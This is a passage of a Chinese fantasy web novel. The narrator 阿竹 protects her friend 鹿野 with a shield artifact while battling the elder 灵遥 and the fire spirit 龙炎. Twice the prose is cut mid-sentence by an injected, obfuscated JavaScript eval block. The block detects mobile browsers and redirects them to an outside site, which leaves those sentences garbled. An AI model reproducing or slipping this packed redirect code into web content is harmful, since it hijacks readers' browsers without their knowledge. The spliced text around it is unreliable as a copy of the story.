这老头儿见到我这么一个大活人就这么直愣愣地从他的胡子里蹦出来,吓得原本眯起来的一双眼睛都睁大了,反应过来后,揪着我的衣领想要把我掀翻在地。 “你好呀。” 我友善打招呼的同时一把抓住鹤天握住我衣领的那只手,锁住敌人手腕部分,令鹤天不得再进攻分毫。我的另一只手则是同时握拳、挥臂,重击敌方的手肘节点,将其带偏力道并当场打至关节变形。 手上忙活的同时,我的脚下动作也没消停。 由于他此刻进退两难,无法逃脱我的抓握,我干脆用另一侧的膝盖高高抬起,以一个毫不留情的膝撞动作直接贯在这老头儿的肚子上! 这么近的距离,我甚至听到他的数根肋骨发出整齐划一的“嘎巴”一声脆响。 好听吗?好听就是好骨头。 ——向前敲瘦骨,犹自带铜声。 被我打到肢体骨折的鹤天当即惨叫着摔下去。 然而等这个时候我才反应过来,先前打人实在是打得太顺手,到头来又忘了吸老头儿一口生命力来回血! 经过刚才祸心那颗粒无收甚至还倒贴一点生命力的击杀操作后,我的生命值已经再次跌回10%以下了。 哎呀,我这金鱼脑子! 怎么什么重要的事情都记不住? 我又气又恼,顺手对着前方不远处那位穿着深色风衣的灵遥长老背影投掷手中的“离原枪”,干扰其速度。 他头也不回,手中的蓝色【流石甲】却顺势飞起,如背后长眼那样直接击飞了我的武器。 不过不用慌,炼制本命法宝的好处之一就是它开启了“自动回家”功能——我的手掌一张,“离原枪”就从远处自己飞回来了。 啧,还是好羡慕灵遥啊。 当年我因为工作方面表现出色,正式加入总馆的医疗组序列,因此在把工作关系转出去之前,大松忽然说要送我一个定制版的【流石甲】作为践行礼物。 【流石甲】是流石会馆的特色产品,据我所知,他做了很多“青春版”“简易版”送给不同的妖精,还热情地教导大家怎么使用。 不过用得好的人也就那么寥寥几位。 我当场婉拒,说自己是一个医生,这今后日子又不用打打杀杀的,而且这种防御为主的法宝也不适合我的性格……所以算了算了。 现在一看,这法宝在灵遥老登的手里耍得虎虎生风,活灵活现,我就很眼热啊! 当年真是脑残,明明什么都想不起来却偏偏还保持着一股子莫名其妙的戒备心,我怎么就拒绝了流石会馆的践行礼物? 不过也许还有机会再搞一个来玩玩……如果今天还能活下来的话。 此时跑在最前方的鹿野已经破了不知道第几个阵眼了——我没数,毕竟我到现在还能站着打架已经是会馆医学奇迹了——但也就是这破阵动作的耽搁瞬间,灵遥手中的【流石甲】骤然化作一道快如闪电的光屏,速度比先前翻倍,以迅雷不及掩耳地朝着躲闪不及的鹿野打去! 但比【流石甲】速度更快的是后发先至的“离原枪”……它的整体长度被我缩短,化作一柄臂长□□,投掷出去的瞬间我的身影也从原地消失。 这法宝是我的半身,铭刻着我的所有能力。它飞去哪里,我就能在哪里出现。 当“离原枪”从【流石甲】光屏下方的空隙一溜烟穿过去的时候,我也骤然浮现在枪身旁,抓住这武器法宝往自己胸前一挡,不顾及生命力的急速消耗,紧急召唤厚实草木来护住我和身后方向的鹿野—— 轰隆隆! 灵遥似乎被我贸然闪现拦截的举动给激怒了,那面足以直接碾碎我浑身骨头的光屏狠狠地砸在我身上,伴随着那股子无法抵御的狂风和猛力,就好像十台压路机同时从我身上来回碾压一样剧痛无比。 这还是我召唤草木护身的前提…… 真要是让它直接砸在鹿野身上,这死丫头回去后就要臭着脸养伤个几天了。 其实养伤不是重点,妖精们只要不当场去世多半都还有得救。 主要是这样的话,她会不开心,觉得自己还是太弱了才会被敌人击中啥的。 但一山总比一山高,哪有人能声称自己永远最强呢? 好吧,还是有几个人和妖确实强到不可理喻的…… 但比起什么成为世间最顶尖高手这种遥远的事,我也只是希望鹿野能够每天都开心点。 我是个知足常乐的家伙,我的梦想,我的朋友,我都只赋予了最平凡的期望。 ——平安健康,快快乐乐。哪怕那些美好的事情与我无关都没关系。 高速移动中,我感觉自己身后猛地撞到了一个柔软的躯体,她似乎有点猝不及防,但还是立刻一把从背后搂住我,抵住我的身躯给我支持,想要同时挡住前方的冲击力。 可我实在是挡不住面前那道【流石甲】的恐怖力道,哪怕已经将“离原枪”枪杆的抵御能力催动到最强状态了,但实在是杯水车薪。 毕竟这不是防御性的法宝,攻击和辅助我的各项能力发挥才是它的强项。 我们两个最后一起被重重砸进高架桥下方的荒野空地里,砸出了一大个深坑,烟尘滚滚。 “咳咳咳……咳啊!” 这一回,我连自身的灵质都咳出来了。 烟尘之中,鹿野的双手从背后穿过我的两臂下方,尽可能快速而动作轻柔地将我直接从坑里拖出来……我意识到自己此时满身是血,并且喘得厉害,实在是站不起来。 灵遥悄无声息地落在了不远处的地上,他像是觉得一切尽在掌握中,因此没有再急着第一时间发起最后的攻击。 伴随着各有各伤势的其他部下们和龙炎的到来,他们逐渐形成了一个半圆形的包围圈,缓缓靠过来。 半跪在地上的鹿野没有抬头看他们一眼,她只是低着头,神色茫然而空洞地看着躺在她怀里气若游丝的我。 “阿竹你这白痴!”她忽然没由来地骂我,“刚才如果你不多管闲事,我早就逃掉了!” 言外之意是我突然跳出来挡枪,她放心不下我,所以反而没法跑了。 哼哼,这女人还在嘴硬。 那么多年的老朋友,我还不了解她是什么脾气吗?真逃得掉的话,我就不扔那一枪来帮忙挡着了。 “嗬……”我的胸膛剧烈地起伏着,想要笑一笑,却只能发出虚弱急促的气声,“帮鹿野大人百分百自动挡枪……是我的招牌技能嘛。” 唉,到了这个时候,我还是只想讲一些糟糕的烂人笑话,结果鹿野看起来完全没有被我逗乐,甚至一时间表情看起来更悲伤了。 ……别露出这种表情啊。 我逼着自己挪开视线。 哐啷。 “离原枪”落在了一旁的砂石地上,木质的枪身与地面碰撞之间倒是发出了类似金属的脆响。 而我手掌正在无法抑制地颤抖,手掌两侧的虎口处都是不成人形的裂纹皮肤和滑腻的鲜血,然而周围的草木正在急速枯萎,这是我拼命地汲取这片杂草丛生荒地那所剩无几的生命力的体现。 “阿竹,你坚持一下……” 鹿野低声说着,从身后的乾坤袋里摸出了一个医疗用的药丸塞进我嘴里,当她的手指无意间碰到我皲裂的嘴唇,我发现她的手竟然在抖。 我身上那些正在往外冒的血顿时被这片迅速化开的药力所止住,但也就仅此而已。 哪怕这荒地上方圆百米的所有草木植被已经尽数枯萎凋零,我依旧缓不过劲来。 此时的生命值大概就在1%-3%这样的濒死程度来回挣扎。 一般的治疗药物对于我和鹿野这个程度的妖精而言,已经没什么特别强效的治疗效果了。 可我的关注点已经不再是药物问题,也不是那些虎视眈眈的敌人,而是……鹿野的手为什么会发抖? 我观察到她的双手没有受什么很重的伤,所以不可能如我这样是由伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289717|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势导致的生理性颤抖。 那就是情绪。 ——鹿野在害怕什么? 害怕灵遥?还是害怕自己无法破开剩余的【断金阵】?抑或者害怕最后死在这里? 以上问题如流水一样浮现在我的脑海中,以我对她的了解,尽数打了一个“X”的否定答案。 那么,剩下唯一的答案就是——鹿野在害怕我死掉。 或者说……她在害怕我灵质空间里的那些幸存者一起死? 搞不清楚。 但我没问她“你到底是怕我死还是怕那些幸存者死”,因为实在没什么意义,而且更重要的是灵遥他们这些敌人就在面前。 “这是最后的机会了。我还是要说一句:投降吧,鹿野。”灵遥面带微笑地开口,那副老谋深算得逞的嘴脸真令人感到恶心,“只要你投降,竹茂就能活下来。” “……” 鹿野低垂着脑袋,没有回答,她只是轻轻地把我放平在地上。 灵遥继续喋喋不休地发挥说客技能:“其实我们没必要这样闹得你死我活。我依旧希望关于妖精一族未来的道路中,能够与你们这样优秀的年轻人结伴前行……” “不。”鹿野倏然回答道,“你们不会放过阿竹的。” 我盯着头顶的高架桥下方阴影处,漫不经心地思考着附近的藤蔓为什么没有长到上面去。 灵遥停住了述说,过了几秒反问道:“为什么你会得出这样的结论?” 鹿野回答:“她是【流石会馆】的幸存者。” 灵遥恍然大悟,旋即摆出宽容的模样说道:“嗨,这件事已经发生了。就算幸存者有一两个人活下来,或者根本没有,都已经影响不了大局的演变。” “所以只要你愿意跟我们合作,我们其实也很欢迎一位医术高明的医生能够加入我们。” 鹿野站起身,阴沉沉地盯着他那张慈爱温和的老脸:“灵遥,你装什么!阿竹以前的审判卷宗你看过,她这些年在会馆里的表现和能力,你肯定也知道。” “那么,你就该知道,幸存者……”鹿野眯起眼睛,“不止你所能容忍的那一两个。” 所以灵遥一定会杀我,他一定要杀我——为此哪怕与一直看不起的通缉犯们合作也在所不惜。 被当面指出后,灵遥脸上的那副和善神态彻底消失了。 取而代之的,是某种冷酷而决绝的东西,他果然早就猜到了我灵质空间里不止一两个幸存者,不然也不会这么平静,一点都不为此惊讶。 “有些事情大家心知肚明就好了,何必揭穿?鹿野,竹茂,我想给大家一个台阶下,可惜你们谁都不领情。”他摊开手,似是叹气,“还是太年轻,锋芒毕露,不知道这世间的大业从来都是……” “闭嘴吧灵遥!我跟你从来不是一路人!”鹿野怒斥他。 灵遥深吸一口气平复心情,森然道:“杀了竹茂。只要她死了,【流石会馆】的这场局才算是做成!” 话音刚落,那些早就虎视眈眈的敌人就再也按捺不住杀意,朝我们的方向冲过来。 “想杀她,就先杀我。” 鹿野神情冷静却又动作狂躁地把这些人全都暂且打退,忽然反手把一个什么玩意儿砸在我身旁的地面上。 嗡—— 有透明的光膜从物件上升腾、张开,当看清楚这是什么时,我原本有些涣散的瞳孔忽然震颤起来。 同样看出此物的灵遥先是一愣,旋即笑了:“老君的法宝【琼圆盾】?这是鹿野你最后的保命手段了吧!可惜一次只能护住一个人……你倒是大方,居然给一个快死的人用了。” “哼,真是一对好朋友啊。” 他说出这后面半句话时,浓烈的嘲讽意味简直溢于言表。 “——我的保命手段多着呢,你可以再赌一赌还有多少。” 鹿野回答的同时一个纵身往后退,径直跳到了半透明的罩子上蹲着,她低头隔着琼圆盾看向瘫在地上的我:“不是只有阿竹你能保住别人的命……我也可以。” 老君作为会馆的创始三巨头之一,与明王和哪吒并列。 他的名字和各项事迹也是会馆八卦常年议题的前几名——比如和自家徒弟清凝仙子谈恋爱什么的。 每次说起来大家都一脸的微妙或者意难平。 虽然大佬的感情生活貌似一团乱麻,但他的能力和炼制出来的各种神奇法宝是众人公认的顶级水准。 我知道鹿野身为“最强执行者”无限大人的弟子,身上自然不可能缺好东西,但是如【琼圆盾】这般顶级的“乌龟罩子”,我不相信鹿野身上会同时具备好几个。 她可能这次出门就带了这一个,不然都这个油尽灯枯的时刻了,为什么还不张开第二个【琼圆盾】来使用呢! 尽管身处这绝对的安全区,但兴许是濒死前的思绪反而加快了运转速度,我一下子反应过来,当即如坠冰窟。 我勉力地翻身想要爬起来,却在几秒后再次摔倒在砂石地上,趴着咳嗽了几声。 “鹿野……你怎么能把【琼圆盾】给我?疯了吧!你就这么想死吗?” 历来好脾气的我,这回是真的生气了。 我并不觉得自己的这条性命有多重要,在过往的年岁里,我挣扎着命悬一线的生死线上也不止一两次。 ——命贱的杂草,谁都可以踩一脚。 反正没人会在乎。 我早就知道了这个道理,这世上已经不会再有谁像是当年抚育我长大的那人类一家人那般珍惜我了。 他们养了我十九年,明知我是个妖精,却还是把我视为一家人。 我看着那对夫妻从认识到恋爱再到结婚,他们的孩子是我的弟弟妹妹……然后在一夜之间,我突然失去了自己所有的家人。 自那天起,我跪在他们的骨灰和废墟里发誓,要用毕生的一切为这场不义战争的无辜死难者复仇。 三十年后,我在邪桑台的首都“月都”街头当众斩杀了年迈的末代邪皇。 人头落地的那一刻,我的身心如释重负。 ……我知道自己终于可以回去了。 但新的问题来了。 我该回哪儿呢? 我已经没有家,也没有家人。 幸亏我当时很快被抓了,所以也不再担忧这方面的问题。 其实我并没有告诉任何人,在今日动手参战之前,我还埋了一颗草籽在先前停留过城市另一头的荒草丛中。 ——当时鹿野与我做出不许参战的约定,听完她的要求,我就偷偷地往地上扔草籽。 在那儿,还有一尊毫无力量和气息的花瓶分身正默默地蛰伏在地底待命。 倘若我的本体死了,那具最后的分身会短暂地继承我的灵质空间,将其打开,将幸存者们释放出来,然后才会彻底消散。 至于到时候赶到现场最快的人是灵遥一伙还是会馆救援队,这要看上苍的旨意。 而这已经是我能做到的极致了。 这么多年来,我相信自己的能力和运气,我相信自己不会拖累任何人,我永远可以坦然无愧地奔赴死亡。 但是……但是! 鹿野你把【琼圆盾】给我,你一个人又受了伤,怎么扛得住剩下那么多敌人的围攻? 如果你今天死在这儿,我的余生岂不是要一直背着你的阴影活下去!? 听到我气得爬起来骂她“疯了”,鹿野在打架中居然抽空抛了个格外得意的笑脸给我,然后一个过肩摔砸翻了想要偷袭的鳄鱼。 ……跟一个小女孩似的。 “嘶……” 我虚弱无力的手指轻轻陷入【琼圆盾】的光膜之中,咬着牙不让自己的眼泪掉下来,偏偏眼眶还是不争气地发酸,水光很快就模糊了我本就不太清晰的视野。 可是我很清楚知道这种法宝多半是一次性用品,没法关闭后再给鹿野使用。 “鹿野,你这自作主张的混账东西!这下子我不得欠你一辈子了吗!” “哟,求之不得。”鹿野一脚踢飞皆逆荒,后者跟个破布娃娃似的又飞出去,同时她歪头闪过飞来的火球,头也不回地回答我。 “好感人啊。”灵遥一副年纪大了看不得这种戏码的憎恶表情大声说,“但不用等以后了,我现在就来助你们一臂之力——你们两个今天就能死一块儿!” 说罢,他手中的【流石甲】浮现出光屏,重重地砸在了【琼圆盾】的外壳上。 33.话术失败 只见灵遥在观察了一阵这个名为【琼圆盾】的防御型法宝效果和其他部下对它的破坏程度堪称毫无效果后,他陡然间再度出手。 灵遥不愧是身为会馆最高层的几位长老之一,姑且不提他的人品和别的个人特色,起码实力够硬,他的【流石甲】光屏一砸过来,我就吓得心惊肉跳。 因为我感觉到这撞击的力度不同于先前其他人闪过鹿野的防线而偶尔打来的那一两下无用功,虽然以前没用过【琼圆盾】,但类似的防御型法宝我也是用过的。 我立刻单膝跪地上,双手撑住罩身,试图稳住它。 之所以不站起来抵御,当然是因为站不起来。对我目前而言,跪姿已经是目前最有力最稳固的形态了。 轰! 轰!! 轰!!! 蓝色光屏与透明光膜在一次次的撞击之中,发出可怖的震动和声响。 这个不算大的【琼圆盾】在难以避免地往后滑,我本就奄奄一息的处于濒死状态,被敌人攻击的力道余波更是一时间撞得整个人更是无法抑制地往后滑行了五六米……直到那光膜的后方撞到了高架桥的支柱墙体上,【流石甲】才暂时停下。 忙于应付其他敌人缠斗的鹿野此时抽空扭头看向我所在的方向,结果透过【琼圆盾】上那豁然出现的一道明显全新裂纹,我同样看清楚了她那血色褪去的面容。 是的,【琼圆盾】在仅仅依靠自身的法宝防御力下,根本不是全副武装的灵遥和【流石甲】组合的对手。 我也傻眼了。 ……老君大人,您的法宝炼制水平也不像传说中那么顶尖啊? 这是我此时内心唯一的念头。 远处站着的灵遥手掌上悬浮着那块蓝色光屏,他兴许是看见我和鹿野的表情变得十分精彩,忍不住嗤笑一声。 结果老东西的这一声还没笑完,【流石甲】突然飞起,如同长了眼睛那样挡住了猛然跳过来的鹿野那挥出的拳头! “恼羞成怒?”灵遥嘲笑她,“放弃吧,你如今没有操控金属的能力,仅靠这血肉之躯便不可能与我的【流石甲】抗衡……” 砰砰砰砰! 鹿野面无表情地又是一阵拳打脚踢,仿佛耳朵聋了那样完全没听见敌人的嘲讽。 灵遥似是觉得这个后辈执行者很烦,因此他气质淡然地站在原地,任由【流石甲】在空气中频繁闪现蓝光,与之对抗,闲庭信步地拦下鹿野的所有攻击招式。 这曾经属于大松的法宝如今落在灵遥手里,同样发挥出了不逊于原主的威力——它对于赤手空拳的鹿野而言,就如同其他敌人的攻击对【琼圆盾】一样,都会令攻击者徒劳无功。 但是我知道,鹿野并不是突然傻了或者聋了,她只是想要牵制住灵遥的【流石甲】,令其无法攻击我。 毕竟如果任由灵遥继续砸下去,谁都知道这“乌龟壳”破开兴许就是几分钟的事情。 她也许是实在没办法在那么多凶残敌人的围攻下完全保护濒死的我,所以在“继续去破阵”和“保住我的命”这两个艰难的选择中,鹿野毫不犹豫地选择了后者。 “嗬……鹿野,你这混账!……我这种烂命一条的杂草,就这么值得你来救?” 我低声地喘着气说道。但这一回没人回答我。 有大滴大滴的鲜血在打斗中从那个白发妖精的手背上缓缓流下来,顺着手掌,流过手腕,滑落手肘乃至跌落砂石地。 这片荒地无声无息地啜饮着鹿野的每一滴鲜血。 ……也流进了我的心底。 【流石甲】的光屏如流水一般滑动闪烁,不沾血迹,也不染纤尘。 哪怕这样的攻击对于灵遥而言是毫无作用,但她依旧顽强地去战斗,纵使打到自己双手的骨头都裂开,鲜血直流,也不肯停手。 “鹿野啊!”我用一条手臂抵在有裂纹的光膜上,撑住自己的身体不要倒下,然后用尽最大力气拼了命地喊道,“去破阵吧——” 砰! 鹿野此时闪过灵遥的一记反击,趁着这个间隙,皱着眉头看向我。 以我们之间的多年默契而言我一眼就看出她这个眼神的意思是“不行!我不能走!”。 如果她走了,万一灵遥不去追杀她,让其他人干扰,自己留下来砸破【琼圆盾】,我就真的是死路一条了。 ——鹿野不想这么做,她不敢去赌敌人行动方向的概率和可能性。 明明她在某种意义上跟我一样,是个一上战场就solo全部家当的疯狂赌徒。 就因为这件生死大事涉及到我……所以这一刻她退缩了。 她不敢去赌我的命。 但是没关系,我会帮她的。 朋友嘛,不就是在这种关键时刻托彼此一把嘛。 我抬手揭开几乎不知不觉中几乎覆盖了整张脸的山鬼面具,闭上因为眼泪而导致有些视野模糊的眼睛,朝她尽力露出了一个记忆中应该算是阳光灿烂的爽朗笑容。 去吧,去吧,拿回你的能力,别担心。 ——相信我吧。我向你保证这一切。 但是很快就有血顺着我的下巴滑落衣襟。 哎呀,忘了现在都快不成人形了,我面具下的这张脸一定是已经血肉模糊的扭曲恐怖模样……反正我注意到不远处的皆逆荒都露出了大白天见鬼的生理性恐惧表情。 算了,无所谓,反正意思传达到位就行。 不需要任何言语,鹿野哪怕只是远远地扫一眼,她便能理解我的这些动作和神态到底是什么意思。 这是我们之间独属于彼此的、积累多年的默契和肢体语言。 我看见她死死地抿着发白的双唇,像是在极力压制着某些复杂而激烈的情绪。 但我的头太疼了,已经无力去分辨和思考那是一种怎样的情感。 在那些混乱的鏖战中,在飞溅的汗水与鲜血里,我却清晰无比地看见那双令我魂牵梦萦的淡蓝色眼眸里分明也有晶莹的水光泛起,哪怕只有短短的一瞬。 “……好。”鹿野说。 说罢,她不再恋战,当即就要向远处奔去。 灵遥脸色一变,正要发号施令地说点什么,忽然抬起头望向天空中的某个方向。鹿野也不自觉地同样停下脚步,顺着同样方向一并看过去。 由于被濒死的身体状态所拖延了正常的感知能力,我足足过了几秒才反应过来他们突然在看什么,连忙抬头去寻找异常。 在这片布下了大型隔绝外界结界的废弃工厂地带里,天边豁然出现了一个小小的黑点。 黑点越飞越近,我们也终于看清楚来者的身份——居然是生出一对黑色羽翼的小黑! “小黑!?”鹿野惊呼,难以置信这毛茸茸的师弟在没人指路的前提是怎么一路找过来的。 其他人也在议论纷纷:“这不是无限那个小徒弟吗?” “对,一只小猫妖。” “会馆那边就派这孩子来当先锋吗……呃,只有他一个人?来送死吗。” 灵遥摇了摇头,不知道是觉得这事情太过峰回路转还是颇为荒谬,发出号令:“杀了他。” “我看谁敢!” 鹿野又怒又急,一脚踢翻最先冲过来的那个家伙,旋即率先拔腿就冲。 虽然眼睁睁地看着鹿野头也不回地冲去营救自家师弟,一点都不带犹豫的,但我没有感到丝毫失落,甚至一度情绪高涨,喜形于色——小黑是个识大体的好孩子,也不是手无缚鸡之力的纯粹弱者,他一定能协助鹿野去破开剩余的阵眼。 一旦【断金阵】失效,就算打不赢灵遥,鹿野的能力也足以带着师弟小黑一起逃跑存活。 ……她终于可以活下来了。 至于我的生死? 那已经不是最重要的事情。 毕竟我从一开始就说过了,只要鹿野今天能活下去,哪怕我们二人就此形同陌路,我也是心甘情愿的。 但是下一秒,我忽然莫名地愣神。 因为鹿野本人虽然迅速远去,可她逐渐减弱的传音秘术还是精准地落入我的耳朵里。 【“阿竹,不许死!听到没!而且我还有一些事情没来得及告诉你!死了的话,我就把你散灵后的坟头草全给烧了!!”】 草。 这么狠? 此人不会是要跟我说什么“不还你的钱咯”或者“思来想去咱们还是绝交吧”之类的话吧? 虽然很想开这样的玩笑,我好歹还是忍住这种不合时宜瞎逗乐的沙雕本性,轻声笑着回答她。 【“那也太冷酷了吧?但……我也是。鹿野,我同样有几句话想对你说——活着回来见我吧。”】 传音秘术超出了施法范围,自动断开。 凉飕飕的风刮过高架桥的下方和周围的建筑废墟,显得格外空旷。 我盘腿坐在布满裂纹的【琼圆盾】里头,望着最后一个站在高架桥下方没有离开的敌人,问道:“你不去吗?” 龙炎收回凝视小黑所在方向的目光,看向我,摇了摇头。 “我从不杀幼崽。” 他的话语里透着毫不遮掩的沧桑和疲倦。 龙炎大概也是一个有故事的人,但我不需要去了解那些故事。 因为每个妖精甚至是人类只要能活到一定岁数,谁没点惊心动魄的人生历程呢? 我没有讽刺他的这个原则有些“妇人之仁”,似乎与通缉犯的凶残作风不符,反而有点惊讶:“那挺好的。” 据我所知,“御国众”在邪桑台地区的名声极差,说它们“道德败坏”都是在抬举,因为这帮家伙根本没有“道德”二字可言。 该团伙古往今来犯下的诸多罪行堪称真正的罄竹难书,因此但凡有点良知和手段能力的本地妖精早就逃离这乌烟瘴气的破地方了。 留下来的妖精都是一群渣滓、垃圾、畜生。 可想而知,龙炎作为这个暴力社团留下来的极少数遗孤后辈,肯定也面临过许多凶险的报复。 “御国众”暗地里的敌人可不算少,当年我也与其中一些势力合作过,只是那些狐朋狗友之辈如今估计不是被会馆势力默默地同化了,就是在哪个角落里散灵挂掉了。 毫无必要再联系。 我不知道眼前的龙炎到底人品如何,这些年里又到底犯下过怎样的罪行……但就今日的交手程度来看,这样一个为了死去多年的师父而坚决报仇的妖精,也会因为同伴阵亡而感到愤怒的人,倒是比他的“御国众”前辈们更像个岛国传闻里的任侠之辈。 我并不讨厌他。 可也就这样了,战斗还是要打的,毕竟他留下来肯定不是为了给我点一杯奶茶续命聊天,而是专程来杀我的。 先前灵遥离开前,便见到这老登特意与龙炎交代了两句,而一旁的鹤天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299036|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则是无言而沉重地拍了拍通缉犯的肩膀,叹着气追出去拦截小黑了。 我往后一躺,倚在【琼圆盾】的光膜上,姿态慵懒得就像是在鹿野家的客厅沙发上躺着在等外卖的状态。 “那么……你想怎么杀我呢?”我摸了摸一旁的光膜,颇为好奇地问,“虽然这玩意儿确实被灵遥击破了一点,但这也不是你徒手就能打碎的存在。” 虽然我现在确实是生命垂危,生命值大概也就稳定在2%这样半死不活地吊着最后一口气,任何一点火焰都能把我烧成渣渣,但我有【残破版·琼圆盾】嘛。 “嗯,我知道。” 龙炎略微颔首,随着呼吸间,他的眼眶里再一次亮起如发色一般金红的璀璨光芒。 “山鬼,你也许不清楚一些事……九十多年前,我诞生自‘国脉·兵山’的岩浆里,我的师父虽然不是御三家的那些大妖,但也是虾夷雪原上的一头狼妖。” “兵山?”我想了几秒才反应过来,“哦,当年你那故乡的老百姓们更喜欢偷偷叫它‘黩武山’。自从战败后,邪皇对外俯首称臣,对内暴虐横征,实乃穷兵黩武之辈。” “人们被压迫得实在是抬不起脊梁骨,私底下都说,真恨不得与那黑月同归于尽啊。” 当年的邪皇自称是“黑月之子”“千代一脉”,血统传承千年,实在是君权神授、高贵无比……这民间诅咒的话语倒是有几分“时日曷丧,予及汝皆亡”的意思在里头了。 但那老头儿被我砍断脑袋并掷于闹市大街上时,也没见到什么“夜天原”的黑月神明蹦出来给我施展正义审判,反倒是会馆的执行者冲出来把我摁在地上一顿狂揍。 龙炎愣了一下:“你好像对我的家乡很熟悉?” “哈哈,当年为了追杀你的前辈们,我在你们那儿隐姓埋名地住了几年。”我颇为谦虚地笑了,“现在我的岛国语里指不准还能带几分老关东特色的月都口音呢。” “原来如此,那你后来还来过新政府管理下的岛国吗?” 龙炎跟我像是一个多年未见的老朋友那样气氛轻松地聊天,但他身上不断积蓄的恐怖能量又证明了他并非只是在打发时间而已。 其实我聊天那么久,主要也是想拖延时间等鹿野他们回来……但估计现在拖不住了。 我挠挠头,索性换了条腿翘着继续回答:“没呢,岛国新政府把我列为‘此生禁止入境’的黑名单人员之一。” “真小气啊,当年不就是杀了邪皇一家,十几个大臣贵族,上百个逃脱审判的战犯以及一个古老妖精社团而已嘛,搞得好像我是个什么很危险的杀人狂魔一样。” 龙炎:“……新政府也许是对的。” 他无言以对的神情大大地取悦了我,自从八十年前在干完邪桑台的那一票大单后,我就特别喜欢看那些愚忠岛国人说到这事儿的微妙反应。 他们越愤怒,我越想笑。 想笑就笑,一时间我真的忍不住大笑起来,然而笑了没两声又牵扯到身上尚未愈合的伤口,只好闭嘴。 龙炎终于在距离【琼圆盾】仅有两三步远的位置停下脚步,他那赤裸上身的皮肤底下已经亮起如岩浆般一道道的密集能量纹路。我知道,这大概便是他的原型状态。 我看着这个无声中已经变得蓄势待发的敌人,想了想,还是忍不住劝道:“如果你的师父确实是‘御国众’的一员,那他兴许不是什么正派的家伙。龙炎,你懂我的意思吗?师徒相残的悲剧在你们那儿屡见不鲜。当地妖精都管这个叫‘下克上’。” “师父没有师父的样子,徒弟也不像是徒弟,风气太坏了,大家相互利用,相互算计,看谁最后能坑到谁。” ——你真的确定要为记忆里这样一个不知好坏的人报仇吗?这才是我真正想说的。 龙炎的脖子、面颊皮肤上也开始出现了那种岩浆般的纹路,他沉默地看了我几秒,哑声道:“你说得对,山鬼,我确实想过这些事情。” “但时间一转眼就过去了八十年,我与师父相处的时间说到底也不长,其实也不知道他当年收我为徒时到底是不是真心。” “可是人活在世上就靠着一点念想,没完成的复仇就是我所剩不多、支撑至今的念想——师父是我唯一的亲人。” “山鬼,你杀了我的亲人,我如今有机会就必须要杀了你……你能理解吗?”龙炎说。 我坐直了身板,重重点头:“合情合理。” 这个敌人那张自见面以来就苦大仇深的面庞上终于浮现出了一丝难得的笑容,下一秒,如火山喷发一般的恐怖烈焰和岩浆就冲破了整片荒地。 也彻底淹没了【琼圆盾】。 刹那间,视野中有如火龙环绕,又好似沉浸在滚滚的火山岩浆之中。 哪怕隔着这道单薄而透明的法宝盾身,我都能够感觉那几乎要把毛发烧焦的高温空气在弥漫这份致死的温度。 我已经看不见龙炎的人形存在,但我知道他就藏在这片肆虐呼啸的火海之中。 咔嚓—— 【琼圆盾】明显裂开了更多的裂纹,灼热无比的空气拼了命地挤进罩子里头来,那些岩浆也有涌入其中的趋势。 “喂喂,不是吧。” 我脸上的笑容都有点僵硬了,额头流下的汗水分不清是被吓的还是热的。 此时我还是只有一个念头。 ……老君,恁不中啊! 34.因果循环 当听到远处高架桥方向的异响,无论是追击者还是被追击者,都难免分神回望了一瞬间。 冲天的惊人火海淹没了高架桥与砂石荒地,那片火海却只局限在上百米的范围内,仿佛周围有一圈无形的隔离带阻隔了这些火焰扩散的脚步。 初来乍到的小黑也注意到了这宛若火山副本外溢的奇怪场景,此时他已经解开师父无限给自己施加的能力限制器,一头蓬松黑发变回了真实的白发模样,正在利用空间系能力协助鹿野打配合。 “还有人在那边打架吗?”他问自己的师姐。 “……啊。”鹿野的瞳孔有些不易察觉地缩紧,她的胸膛剧烈起伏着,但最后还是选择头也不回地继续往前冲,“是阿竹。” 小黑脑海里顿时浮现出那个吃肉时因为太专注都会不小心摔进饭盆里的可怜小草人形象。 让那样的阿竹姐独自面对这种程度的滔天火海? 猫儿大惊失色:“留她一个人在那儿真的没问题吗!” “没问题。”鹿野语速极快地说道,额上似有冷汗滑落,“她已经向我承诺过,绝对不会轻易死去。” 小黑:“……?” 就这样?没别的措施了? 他不理解鹿野师姐对阿竹姐这种莫名信任到底从何而来,但他一时间也变得很焦虑,想要赶紧破阵,以便尽快回去救人。 而且小黑突然注意到一个细节,那就是往日里总是胸有成竹、无所畏惧的师姐在说出这几句话时……她语调里的颤音几乎都压不住了。 ………… …… 我怀疑眼前这个开始出现明显一道道裂纹的【琼圆盾】要么是鹿野拿到了一个假冒伪劣的山寨产品,要么是老君的法宝炼制手法不行。 不然怎么会随便来一个人都能打爆它呢! ……鹿野的性格是不会轻易使用山寨货(除非是迫不得已),更何况这种保命手段谁会用残次品? 所以这一定是老君的锅! 如果我今天不幸挂了,建议鹿野去跟老君索赔精神损失费,把我的那份也给一起索赔。 不过眼下好像也没办法追究什么售后问题了,我放眼望去,【琼圆盾】的四面八方环绕着金红岩浆与熊熊燃烧的烈火,烧得整个罩子密不透风,以至于原本透明的盾身都开始在表面泛红,宛若烧热熔化的铁水。 哎呀,好像要死了。 也不知道鹿野和小黑到底破到了第几个阵眼。 